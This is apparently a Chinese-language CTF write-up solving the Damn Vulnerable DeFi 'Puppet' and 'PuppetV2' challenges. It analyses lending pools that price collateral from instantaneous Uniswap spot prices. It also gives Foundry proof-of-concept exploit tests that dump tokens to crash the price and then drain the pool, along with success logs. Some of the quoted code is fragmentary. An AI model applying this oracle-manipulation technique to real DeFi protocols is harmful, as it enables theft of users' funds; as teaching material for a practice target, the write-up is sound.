# damn-vulnerable-defi Puppet and puppetV2-题解

• Lori
• 更新于 2024-06-04 20:09
• 阅读 646

## 攻击目标

``````
There's a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.``````

There's a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

``````# `PuppetPool.sol`
## 合约分析

``````function borrow(uint256 borrowAmount) public payable nonReentrant {
// depositRequired 越小越好
uint256 depositRequired = calculateDepositRequired(borrowAmount);

if (msg.value &lt; depositRequired) revert NotDepositingEnoughCollateral();

if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}

deposits[msg.sender] = deposits[msg.sender] + depositRequired;

// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(msg.sender, borrowAmount)) revert TransferFailed();

emit Borrowed(msg.sender, depositRequired, borrowAmount);
}``````
``````这个函数允许用户通过质押ETH来借代币，
1. 计算所需存款depositRequired。
2. 检查发送的ETH是否足够。
3. 如果发送的ETH超过所需，退还多余的ETH。
4. 更新用户的存款记录。
5. 尝试从代币合约转移代币到用户地址并触发事件，如果失败则抛出TransferFailed错误。

``````function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return (amount * _computeOraclePrice() * 2) / 10 ** 18;
}

function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
// 瞬时价格预言机``````

-> return (uniswapPair.balance * (10 ** 18)) / token.balanceOf(uniswapPair); }

``````可以看到，这边是采取了uniswapv1pair eth-token的瞬时价格，不难想到，我们可以通过swap来进行影响池子里交易对的数量。

1. 合约通过uniswapv1交易对的**瞬时价格**来计算质押要求，我们可以通过swap来影响价格，从而影响存款要求。

## 攻击思路
1. 将 eth/dvt 降低，通过swap 1000e18 dvt来操纵；
2. 将lending pool的钱通过借款掏空。

## PoC

function testExploit_Puppet() public { uint256 v1PairBalance = dvt.balanceOf(address(puppetPool)); console.log("v1PairBalance:", v1PairBalance);

``````    /*
* 1. 将 eth/dvt 降低，通过swap 9.9 eth，可以考虑将1000e18 dvt注入池子
* 2. 将lending pool的钱通过借款借款
*/
emit log("-------------------------- before attack ---------------------------------");

uint256 eth1 = calculateTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE);
uint256 eth2 = calculateTokenToEthInputPrice(UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE);

emit log_named_decimal_uint("getTokenToEthInputPrice", uniswapExchange.getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE), 18);
emit log_named_decimal_uint("attacker use ATTACKER_INITIAL_TOKEN_BALANCE to swap eth1", eth1, 18);
emit log_named_decimal_uint("attacker use UNISWAP_INITIAL_TOKEN_RESERVE to swap eth1", eth2, 18);

uint256 shouldETH = puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
emit log_named_decimal_uint("attacker should spend ETH amount", shouldETH, 18);
emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

emit log("-------------------------- after attack ---------------------------------");
vm.startPrank(attacker);
// 1. 将 eth/dvt 降低，通过swap 9.9 eth，可以考虑将1000e18 dvt注入池子
uniswapExchange.tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE, 1, block.timestamp + 1 days);
shouldETH = puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
emit log_named_decimal_uint("attacker should spend ETH amount", shouldETH, 18);
emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

// 2. 将lending pool的钱通过借款借款
puppetPool.borrow{value: shouldETH}(POOL_INITIAL_TOKEN_BALANCE);
vm.stopPrank();

validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}``````
``````下图是攻击成功输出的日志：

🧨 Let's see if you can break it... 🧨
v1PairBalance: 100000000000000000000000
-------------------------- before attack ---------------------------------
getTokenToEthInputPrice: 9.900695134061569016
attacker use ATTACKER_INITIAL_TOKEN_BALANCE to swap eth1: 9.900695134061569016
attacker use UNISWAP_INITIAL_TOKEN_RESERVE to swap eth1: 4.992488733099649474
attacker should spend ETH amount: 200000.000000000000000000
attacker actually hold ETH amount: 25.000000000000000000
-------------------------- after attack ---------------------------------
attacker should spend ETH amount: 19.664329888798200000
attacker actually hold ETH amount: 34.900695134061569016

🎉 Congratulations, you can go to the next level! 🎉

# `PuppetV2.sol`
## 合约分析

``````function borrow(uint256 borrowAmount) external {
revert NotEnoughTokenBalance();
}

// Calculate how much WETH the user must deposit
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

// Take the WETH

// internal accounting
deposits[msg.sender] += depositOfWETHRequired;

if (!_token.transfer(msg.sender, borrowAmount)) revert TransferFailed();

emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}``````
``与最初版本不同的地方在于使用WETH-token交易对，现在还是关注质押WETH数量是如何计算的，``

// PuppetV2.sol function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { return (_getOracleQuote(tokenAmount) * 3) / 10 ** 18; }

``````// Fetch the price from Uniswap v2 using the official libraries
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
// 获取交易对数量
return UniswapV2Library.quote(amount * (10 ** 18), reservesToken, reservesWETH);
}``````

// UniswapV2Library.sol function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); amountB = (amountA * reserveB) / reserveA; }

``````同样的，质押物价值也是通过uniswapv2池子里交易对数量比值作为瞬时价格，突破点也是在这。与上边不同的地在于需要将eth置换成WETH。
## PoC

``````function testExploit_PuppetV2() public {
emit log("-------------------------- before attack ---------------------------------");
emit log_named_decimal_uint("v2PairBalance:", v2PairBalance, 18);
emit log_named_decimal_uint("attacker should eth to brrow", puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE), 18);

emit log("-------------------------- after attack ---------------------------------");
vm.startPrank(attacker);
weth.deposit{value: ATTACKER_INITIAL_ETH_BALANCE}();

uint256 swapOutETH = uniswapV2Router.getAmountOut(ATTACKER_INITIAL_TOKEN_BALANCE, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_WETH_RESERVE);
emit log_named_decimal_uint("attacker could swap out ETH", swapOutETH, 18);

}
else{
}

uint256 shouldETH = puppetV2Pool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
emit log_named_decimal_uint("attacker should ETH", shouldETH, 18);
emit log_named_decimal_uint("attacker actually hold ETH amount", address(attacker).balance, 18);

puppetV2Pool.borrow(POOL_INITIAL_TOKEN_BALANCE);

vm.stopPrank();

validation();
console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
}``````
``````

[PASS] testExploit_PuppetV2() (gas: 205882)
Logs:
🧨 Let's see if you can break it... 🧨
-------------------------- before attack ---------------------------------
v2PairBalance:: 1000000.000000000000000000
attacker should eth to brrow: 300000.000000000000000000
-------------------------- after attack ---------------------------------
attacker could swap out ETH: 9.900695134061569016
attacker should ETH: 29.496494833197321980
attacker actually hold ETH amount: 0.000000000000000000

🎉 Congratulations, you can go to the next level! 🎉``````

Lori
0x3F3c...Dc2F